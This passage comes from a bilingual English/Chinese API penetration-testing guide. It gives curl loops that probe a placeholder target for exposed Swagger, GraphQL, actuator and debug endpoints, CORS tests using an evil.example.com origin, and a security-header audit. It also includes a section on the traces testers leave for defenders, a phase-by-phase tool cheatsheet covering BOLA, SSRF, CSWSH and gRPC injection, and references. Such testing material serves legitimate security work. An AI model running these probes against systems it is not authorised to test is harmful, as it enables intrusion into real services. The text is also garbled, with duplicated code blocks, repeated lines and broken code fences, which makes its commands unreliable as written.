```bashCheck for exposed documentation and debug endpoints
Check for exposed documentation and debug endpoints
endpoints=(
"/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
"/graphql" "/graphiql" "/.well-known/openid-configuration"
"/actuator" "/actuator/env" "/actuator/health"
"/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
```bashendpoints=(
"/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
"/graphql" "/graphiql" "/.well-known/openid-configuration"
"/actuator" "/actuator/env" "/actuator/health"
"/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
```bashCORS misconfiguration testing
CORS misconfiguration testing
curl -s -D - -o /dev/null
-H "Origin: https://evil.example.com" -X OPTIONS
"https://target.example.com/api/v1/users/me" 2>&1 |
grep -iE "access-control|allow-origin|allow-credentials"
-H "Origin: https://evil.example.com" -X OPTIONS
"https://target.example.com/api/v1/users/me" 2>&1 |
grep -iE "access-control|allow-origin|allow-credentials"
curl -s -D - -o /dev/null -H "Origin: null"
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
curl -s -D - -o /dev/null
-H "Origin: https://evil.example.com" -X OPTIONS
"https://target.example.com/api/v1/users/me" 2>&1 |
grep -iE "access-control|allow-origin|allow-credentials"
-H "Origin: https://evil.example.com" -X OPTIONS
"https://target.example.com/api/v1/users/me" 2>&1 |
grep -iE "access-control|allow-origin|allow-credentials"
curl -s -D - -o /dev/null -H "Origin: null"
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
Security header audit
Security header audit
curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 |
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
---curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 |
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
---Detection / Defender View
检测与防御方视角
When you run these tests, you leave artifacts that defenders and monitoring systems detect:
-
BOLA/IDOR probes generate sequences of requests with incrementing or random object IDs from a single session. API gateways log unusual access patterns across object identifiers. Anomaly detection flags accounts accessing resources outside their normal scope.
-
Rate limit testing produces burst traffic visible in access logs. HTTP 429 responses trigger SIEM alerts. Repeated authentication failures activate account lockout mechanisms.
-
Verb tampering and method override requests with unusual HTTP methods or override headers stand out in access logs. Security-conscious applications alert on method override header usage.
-
gRPC reflection enumeration is logged by interceptors. Calls to the reflection service from non-development IPs trigger alerts. Metadata injection attempts appear in gRPC access logs.
-
WebSocket testing generates connection attempts with unusual Origin headers logged at the load balancer. CSWSH attempts may trigger CSP violation reports.
-
SSRF payloads containing internal IPs or metadata URLs are flagged by WAFs. Outbound connections to unexpected destinations trigger network monitoring alerts.
-
Version probing creates 404 bursts across multiple path prefixes from a single source IP.
运行这些测试时,会留下防御方和监控系统能够检测到的痕迹:
-
BOLA/IDOR 探测会从单个会话生成对象 ID 递增或随机的请求序列。API gateway 会记录跨对象标识符的异常访问模式。异常检测会标记访问范围超出正常模式的账户。
-
速率限制测试会产生可在 access log 中看到的突发流量。HTTP 429 响应会触发 SIEM 告警。重复的身份验证失败会激活账户锁定机制。
-
Verb Tampering 和 Method Override 请求使用异常 HTTP 方法或 override header,在 access log 中十分显眼。安全意识较强的应用会对 method override header 的使用触发告警。
-
gRPC Reflection Enumeration 会被拦截器记录。来自非开发环境的 IP 对 reflection service 的调用会触发告警。Metadata injection 尝试会出现在 gRPC access log 中。
-
WebSocket 测试会生成带有异常 Origin header 的连接尝试,并记录在 load balancer 中。CSWSH 尝试可能触发 CSP violation report。
-
包含内部 IP 或 metadata URL 的 SSRF payload 会被 WAF 标记。指向意外目标的出站连接会触发网络监控告警。
-
版本探测会从单一源 IP 针对多个路径前缀产生突发的 404 响应。
Engagement Cheatsheet
渗透测试速查表
| Phase | Action | Tool |
|---|---|---|
| Reconnaissance | Collect API specs | Burp crawler, Swagger endpoints |
| Reconnaissance | gRPC service enumeration | grpcurl with reflection |
| Reconnaissance | WebSocket endpoint discovery | Burp Suite, DevTools |
| Authentication | Token lifecycle testing | curl, Burp Repeater |
| Authorization | BOLA/IDOR across objects | curl loops, Burp Intruder |
| Authorization | BFLA across roles | curl with multiple tokens |
| Input handling | Mass assignment | curl, Postman |
| Input handling | Content-type switching | curl with varied headers |
| Protocol | gRPC metadata injection | grpcurl |
| Protocol | gRPC protobuf interception | mitmproxy with addon |
| Protocol | WebSocket injection | websocat, Python websockets |
| Protocol | CSWSH verification | Custom HTML test page |
| Infrastructure | SSRF via URL parameters | curl, Burp Collaborator |
| Infrastructure | API versioning bypass | curl version enumeration |
| Infrastructure | Misconfiguration scan | curl, Burp scanner |
| 阶段 | 操作 | 工具 |
|---|---|---|
| Reconnaissance | 收集 API 规范 | Burp crawler、Swagger 端点 |
| Reconnaissance | gRPC 服务枚举 | 使用 reflection 的 grpcurl |
| Reconnaissance | WebSocket 端点发现 | Burp Suite、DevTools |
| Authentication | Token 生命周期测试 | curl、Burp Repeater |
| Authorization | 跨对象测试 BOLA/IDOR | curl loops、Burp Intruder |
| Authorization | 跨角色测试 BFLA | 使用多个 token 的 curl |
| Input handling | Mass Assignment | curl、Postman |
| Input handling | Content-Type Switching | 使用不同 header 的 curl |
| Protocol | gRPC Metadata Injection | grpcurl |
| Protocol | gRPC Protobuf Interception | 带 addon 的 mitmproxy |
| Protocol | WebSocket Injection | websocat、Python websockets |
| Protocol | CSWSH 验证 | 自定义 HTML 测试页面 |
| Infrastructure | 通过 URL 参数测试 SSRF | curl、Burp Collaborator |
| Infrastructure | API Versioning 绕过 | curl 版本枚举 |
| Infrastructure | Misconfiguration 扫描 | curl、Burp scanner |
Key References
关键参考资料
- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- gRPC Security Documentation: https://grpc.io/docs/guides/auth/
- WebSocket Security (RFC 6455 Section 10): https://datatracker.ietf.org/doc/html/rfc6455#section-10
- Burp Suite API Testing: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
- grpcurl: https://github.com/fullstorydev/grpcurl
- websocat: https://github.com/vi/websocat
- mitmproxy: https://docs.mitmproxy.org/
- PortSwigger Academy -- API Testing: https://portswigger.net/web-security/api-testing
- "Hacking APIs" by Corey Ball (No Starch Press)
- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- gRPC 安全文档: https://grpc.io/docs/guides/auth/
- WebSocket 安全(RFC 6455 第 10 节): https://datatracker.ietf.org/doc/html/rfc6455#section-10
- Burp Suite API 测试: https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
- grpcurl: https://github.com/fullstorydev/grpcurl
- websocat: https://github.com/vi/websocat
- mitmproxy: https://docs.mitmproxy.org/
- PortSwigger Academy -- API 测试: https://portswigger.net/web-security/api-testing
- Corey Ball 所著《Hacking APIs》(No Starch Press)